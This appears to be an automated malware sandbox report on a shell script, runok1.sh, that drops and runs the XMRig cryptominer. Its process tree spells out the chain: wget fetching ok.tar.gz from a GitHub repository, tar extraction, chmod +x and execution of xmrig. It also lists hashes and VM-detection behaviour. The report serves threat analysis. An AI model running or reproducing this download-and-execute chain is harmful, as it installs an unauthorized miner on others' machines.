Analysis
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max time kernel
1s -
max time network
1707s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20240729-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
17-10-2024 00:29
Static task
static1
Behavioral task
behavioral1
Sample
runok1.sh
Resource
ubuntu2004-amd64-20240611-en
ubuntu-20.04-amd64
Behavioral task
behavioral2
Sample
runok1.sh
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
Behavioral task
behavioral3
Sample
runok1.sh
Resource
ubuntu2404-amd64-20240729-en
ubuntu-24.04-amd64
General
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Target
runok1.sh
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Size
138B
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MD5
ed44ae7cc01f7bcc21c98a523afabd7c
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SHA1
4e7f50162eeb61715a948d3359639c6910088860
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SHA256
1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de
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SHA512
e1c895b50b2b259d40501497ae4f9b2bb77b2d8713cd584d9c83cab82898f5e134ba6c8320810bf649867156494ea5b656143b71e269c9490da210d48a52982c
Malware Config
Signatures
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XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral3/files/fstream-6.dat family_xmrig behavioral3/files/fstream-6.dat xmrig -
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 2525 chmod -
Executes dropped EXE 1 IoCs
Processes:
xmrigioc pid Process /tmp/ok/xmrig 2526 xmrig -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
Processes:
xmrigdescription ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 5 raw.githubusercontent.com 6 raw.githubusercontent.com 7 raw.githubusercontent.com -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
Processes:
xmrigdescription ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
xmrigdescription ioc Process File opened for reading /proc/cpuinfo xmrig -
Reads CPU attributes 1 TTPs 45 IoCs
Processes:
xmrigdescription ioc Process File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig -
Enumerates kernel/hardware configuration 1 TTPs 21 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
xmrigdescription ioc Process File opened for reading /sys/fs/cgroup/cpuset.cpus.effective xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/devices/system/cpu xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/kernel/mm/hugepages xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/fs/cgroup/cgroup.controllers xmrig File opened for reading /sys/fs/cgroup/cpuset.mems.effective xmrig -
Processes:
xmrigwgettardescription ioc Process File opened for reading /proc/self/cpuset xmrig File opened for reading /proc/meminfo xmrig File opened for reading /proc/driver/nvidia/gpus xmrig File opened for reading /proc/sys/crypto/fips_enabled wget File opened for reading /proc/filesystems tar File opened for reading /proc/mounts xmrig -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgettardescription ioc Process File opened for modification /tmp/ok.tar.gz wget File opened for modification /tmp/ok/SHA256SUMS tar File opened for modification /tmp/ok/config.json tar File opened for modification /tmp/ok/xmrig tar
Processes
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/tmp/runok1.sh/tmp/runok1.sh1⤵PID:2515
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/usr/bin/wgetwget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2517
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/usr/bin/tartar xvf ok.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:2523 -
/usr/local/sbin/gzipgzip -d3⤵PID:2524
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/usr/local/bin/gzipgzip -d3⤵PID:2524
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/usr/sbin/gzipgzip -d3⤵PID:2524
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/usr/bin/gzipgzip -d3⤵PID:2524
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/usr/bin/chmodchmod +x xmrig2⤵
- File and Directory Permissions Modification
PID:2525
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/tmp/ok/xmrig./xmrig2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2526
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
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Downloads
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Filesize
215B
MD52bd9f6ce7c4fb1217ec3a80a5225090d
SHA17e0c0715226b994492f8e574b053da00c2717a53
SHA256bb9b89110a794e07d84b4de26de37861345123eefd695c93e1d2400da6d62b4a
SHA512d486601df7b0e0e3c26e7f7b79f4d77901c85c359ac88206219cc7ea48453d4b26849c6ff0c5d41cb0b802fc299a454e919cbdaea84b7d0cf9901a18f0f353f2
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Filesize
2.9MB
MD5773a7b4c82f833410d0af3c194b7cc0a
SHA1fb9e28144dfec4c6aa8eed7ac1a035dd3d87b19c
SHA2569c8cf5b3799e0639fd8a3840481546c2697a07b7db036b6f9543213a805fcf67
SHA5121eba89af980787dca1ee0b57f145c261aa546429ddc7b0879af4574ba5d3c4250c7d32f988ccfe2ecf171f6f10fabe0b2e69fbfc2e903f2f87026a48b526907d
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Filesize
150B
MD57fd26dcea92a3ad3561867c5735c8ecc
SHA1400fe1a03ef6d4520b88f0c63002266586cdaa0f
SHA256c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6
SHA512b114cee7f7da66afc53aca2013c63ed0d12740cca8ad46a5164789fe33f1889a2ec313186a29c4fc1dd30a11041db31bb307be1884e15680f4b7627143cbf6d8
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Filesize
2KB
MD56b2a368c8fb65afcfdedf3790de06cec
SHA157725848151f6a3ff894d262cff6773a343b33a6
SHA25664dda0b03564d8812657259c7df506e95ef6fb73afb3f69662c5a4f978d99156
SHA512b4e30d3f926acbddbf4f12a6835dee0ec82c249d8ceea25848bc1fa087d4a9541864adb8ea665b3b63c8cc27dc49ab9df6629640026105616c94cf0d689f7c10
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Filesize
6.7MB
MD58f633ade35df4f992eb28a2c5bc37cef
SHA16b2fe529339896b22328dec8936219e7b8e3252f
SHA256364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
SHA5128073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73